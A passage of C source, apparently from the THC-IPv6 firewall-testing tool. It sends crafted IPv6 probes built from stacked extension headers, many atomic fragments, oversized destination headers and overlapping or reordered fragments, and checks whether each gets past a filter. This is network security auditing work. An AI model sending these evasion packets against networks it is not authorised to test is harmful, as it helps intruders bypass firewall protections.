(thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: dst hdr (ignore option)\t", count); poffset = 8; ptype = NXT_DST; poffset2 = 34; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, 6); if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: hop-by-hop hdr router alert\t", count); poffset = 8; ptype = NXT_HBH; poffset2 = 34; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, 6); buf[0] = 5; buf[1] = 2; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 3x dst hdr (ignore option)\t", count); poffset = 3 * 8; ptype = NXT_DST; poffset2 = 34 + 2 * 8; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, 6); for (i = 0; i < 3; i++) if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 130x dst hdr (ignore option)\t", count); poffset = 130 * 8; ptype = NXT_DST; poffset2 = 34 + 129 * 8; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, 6); for (i = 0; i < 130; i++) if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: atomic fragment\t\t", count); poffset = 8; ptype = NXT_FRAG; poffset2 = 34; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 2x atomic fragment (same id)\t", count); poffset = 2 * 8; ptype = NXT_FRAG; poffset2 = 34 + 1 * 8; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 2; i++) if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 2x atomic fragment (diff id)\t", count); poffset = 2 * 8; ptype = NXT_FRAG; poffset2 = 34 + 1 * 8; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 2; i++) if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count * 512 + i) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 3x atomic fragment (same id)\t", count); poffset = 3 * 8; ptype = NXT_FRAG; poffset2 = 34 + 2 * 8; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 3; i++) if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 3x atomic fragment (diff id)\t", count); poffset = 3 * 8; ptype = NXT_FRAG; poffset2 = 34 + 2 * 8; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 3; i++) if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count * 512 + i) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 130x atomic fragment (same id)\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 130; i++) if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 130x atomic fragment (diff id)\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 130; i++) if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count * 512 + i) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); while (thc_send_pkt(interface, pkt, &pkt_len) == -1) usleep(1); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 260x atomic fragment (same id)\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 260; i++) if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, src, dst, NXT_FRAG, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); thc_send_as_fragment6(interface, src, dst, NXT_FRAG, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 260x atomic fragment (diff id)\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; for (i = 0; i < 260; i++) if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count * 512 + i) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, src, dst, NXT_FRAG, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); thc_send_as_fragment6(interface, src, dst, NXT_FRAG, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 2kb dst hdr\t\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); if (thc_add_hdr_dst(pkt, &pkt_len, buf, 2040 - 2) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 2kb dst + dst hdr\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); if (thc_add_hdr_dst(pkt, &pkt_len, buf, 2040 - 2) == -1) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 32x 2kb dst hdr\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); for (i = 0; i < 32; i++) if (thc_add_hdr_dst(pkt, &pkt_len, buf, 2040 - 2) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 2x dst hdr + 2x frag\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); if (thc_add_hdr_dst(pkt, &pkt_len, buf, 2040 - 2) == -1) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: 4x dst hdr + 3x frag\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); if (thc_add_hdr_dst(pkt, &pkt_len, buf, 2040 - 2) == -1) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) == -1) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 2040 - 2) == -1) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) == -1) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) == -1) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); thc_send_as_fragment6(interface, src, dst, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); check_for_reply(); pkt = thc_destroy_packet(pkt); curr++; } if (only == ++count || only == 0) { printf("Test %2d: frag type first+middle\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 2500) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 2500) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 0, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_TCP, hdr->pkt + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 1232 / 8, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_TCP, hdr->pkt + 1232 + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 2464 / 8, 0, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_ICMP6, hdr->pkt + 2464 + 40 + offset, hdr->pkt_len - 2464 - 40 - do_hdr_size) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); check_for_reply(); curr++; } if (only == ++count || only == 0) { printf("Test %2d: frag type first (2nd)\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 2500) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 2500) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 1232 / 8, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_ICMP6, hdr->pkt + 1232 + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 0, 1, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_TCP, hdr->pkt + 40 + offset, 1232) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 2464 / 8, 0, sport + count) == -1) return -1; if (thc_add_data6(pkt2, &pkt_len2, NXT_ICMP6, hdr->pkt + 2464 + 40 + offset, hdr->pkt_len - 2464 - 40 - do_hdr_size) == -1) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) == -1) return -1; pkt2 = thc_destroy_packet(pkt2); pkt = thc_destroy_packet(pkt); check_for_reply(); curr++; } if (only == ++count || only == 0) { printf("Test %2d: frag type first #2 (overlap)\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 2500) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 2500) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; // interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - // myoff, 1232, 0 thc_send_as_overlapping_first_fragment6(interface, src, dst, NXT_ICMP6, hdr->pkt + 40, hdr->pkt_len - 40, 1232, 0); pkt = thc_destroy_packet(pkt); check_for_reply(); curr++; } if (only == ++count || only == 0) { printf("Test %2d: frag type first #3 (resend#2)\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 1, sport + count) < 0) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ECHOREQUEST, 0, count, (unsigned char *)&buf, 12, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; pkt = thc_destroy_packet(pkt); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) < 0) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; pkt = thc_destroy_packet(pkt); check_for_reply(); curr++; } if (only == ++count || only == 0) { printf("Test %2d: frag type first #4 (resend#2L)\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 1, sport + count) < 0) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ECHOREQUEST, 0, count, (unsigned char *)&buf, 0, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; pkt = thc_destroy_packet(pkt); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, sport + count) < 0) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, NULL, 0) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, NULL, 0) == -1) return -1; } while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; pkt = thc_destroy_packet(pkt); check_for_reply(); curr++; } if (only == ++count || only == 0) { printf("Test %2d: frag type middle+last\t\t", count); poffset = 0; ptype = NXT_FRAG; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (udp == 0) { if (thc_add_tcp(pkt, &pkt_len, sport + count, port, sport + count, 0, TCP_SYN, 0x3840, 0, NULL, 0, buf, 2500) == -1) return -1; } else { if (thc_add_udp(pkt, &pkt_len, sport + count, port, 0, buf, 2500) == -1) return -1; } if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) == -1) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src, dst, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt2, &pkt_len2, 0, 1, sport + count) == -1) return -1; 